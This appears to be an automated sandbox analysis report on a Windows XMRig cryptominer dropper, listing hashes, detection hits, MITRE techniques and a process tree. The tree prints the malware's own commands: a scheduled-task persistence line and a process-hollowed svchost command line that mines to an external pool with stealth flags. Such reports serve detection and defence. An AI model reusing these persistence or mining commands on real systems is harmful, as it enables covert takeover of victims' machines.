xmrig | 67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8

Analysis

max time kernel
119s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 01:18

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General

Target

67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe
Size

2.5MB
MD5

8e23251437fa1dee266f37fb780849df
SHA1

936748a0298a97950b7ce34de64a79074db21eeb
SHA256

67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8
SHA512

46a988454007930915a41467eaec792575d2fc4d3c30e1d4f0287a7d904d6f929235206386cd1cfeb756b84875442a7ff172549d2e209be257782298170e082c
SSDEEP

49152:J846cK0B7PlZRb1aLeb2eIitRSq10qaJF1CQC0Tn:JQcK0hPtpBZIitgT9F1hC4

Score

10^/10

xmrig discovery miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1284-38-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-40-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-45-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-46-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-44-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-43-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-42-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1284-48-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exerundll32.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	rundll32.exe

Executes dropped EXE 3 IoCs

Processes:

1.exerundll32.exesihost64.exe

pid	Process
2916	1.exe
1480	rundll32.exe
4440	sihost64.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

rundll32.exe

description	pid	Process	procid_target
PID 1480 set thread context of 1284	1480	rundll32.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe

Modifies registry class 2 IoCs

Processes:

67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exeOpenWith.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	OpenWith.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exe

pid	Process
5008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1.exerundll32.exesvchost.exe

pid	Process
2916	1.exe
1480	rundll32.exe
1480	rundll32.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe
1284	svchost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

1.exerundll32.exesvchost.exe

description	pid	Process
Token: SeDebugPrivilege	2916	1.exe
Token: SeDebugPrivilege	1480	rundll32.exe
Token: SeLockMemoryPrivilege	1284	svchost.exe
Token: SeLockMemoryPrivilege	1284	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

OpenWith.exe

pid	Process
532	OpenWith.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe1.execmd.execmd.exerundll32.exe

description	pid	Process	procid_target
PID 3708 wrote to memory of 2916	3708	67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe	84
PID 3708 wrote to memory of 2916	3708	67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe	84
PID 2916 wrote to memory of 1384	2916	1.exe	87
PID 2916 wrote to memory of 1384	2916	1.exe	87
PID 1384 wrote to memory of 5008	1384	cmd.exe	89
PID 1384 wrote to memory of 5008	1384	cmd.exe	89
PID 2916 wrote to memory of 2540	2916	1.exe	102
PID 2916 wrote to memory of 2540	2916	1.exe	102
PID 2540 wrote to memory of 1480	2540	cmd.exe	104
PID 2540 wrote to memory of 1480	2540	cmd.exe	104
PID 1480 wrote to memory of 4440	1480	rundll32.exe	105
PID 1480 wrote to memory of 4440	1480	rundll32.exe	105
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106
PID 1480 wrote to memory of 1284	1480	rundll32.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe
"C:\Users\Admin\AppData\Local\Temp\67654a92f862e349484e1a617ecf9dd7d3959d026f429f1480919be6dc41baa8.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3708
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "rundll32" /tr "C:\Users\Admin\AppData\Local\Temp\rundll32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1384
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "rundll32" /tr "C:\Users\Admin\AppData\Local\Temp\rundll32.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5008
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\rundll32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Users\Admin\AppData\Local\Temp\rundll32.exe
      C:\Users\Admin\AppData\Local\Temp\rundll32.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1480
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        Executes dropped EXE
        
        PID:4440
    - - C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6146704 --pass=myminer --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=10 --cinit-idle-cpu=80 --cinit-stealth
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1284

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.exe

Filesize
2.2MB

MD5
e2f6770cd6b8a5b511f11040a226ef6f

SHA1
5815d379aa8e3fa61173451ae7050ce082839c5f

SHA256
55bf65b6eb3e5132b4716619de626731e38b27dfcf53b69f47beb1634e9403b0

SHA512
db24d848af3f4de9d47962671e0471a494fa343d35ec2ac4a357616b259c3b07b7e1a2422c1d239fad9bde80726d04fa0986a99cc01a814daacd083552d03b5e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
7KB

MD5
ede8f46793b04053a664edb7e254e01f

SHA1
3148e8d408a956195e37c0084ffa99b3986aa08c

SHA256
7b0117c87556fa7fd347f9a5cac49c4502279961bd19307953f3c15c57f2e121

SHA512
719aacee2752688f4f9cfd423fdb0508e8b810c7fd28ecf6a4e14b96e828b8e86e1b3fa2754e6a05ccc2adb52dcad7dcca45792815ad07946fcc1dc19290b109

Download Submit
memory/1284-45-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-38-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-40-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-41-0x000001C9EA3D0000-0x000001C9EA3F0000-memory.dmp

Filesize
128KB

Download
memory/1284-46-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-44-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-43-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-42-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1284-48-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2916-17-0x0000000000CF0000-0x0000000000D02000-memory.dmp

Filesize
72KB

Download
memory/2916-16-0x000000001C2A0000-0x000000001C4B8000-memory.dmp

Filesize
2.1MB

Download
memory/2916-15-0x00000000000F0000-0x0000000000320000-memory.dmp

Filesize
2.2MB

Download
memory/4440-37-0x0000000000E00000-0x0000000000E06000-memory.dmp

Filesize
24KB

Download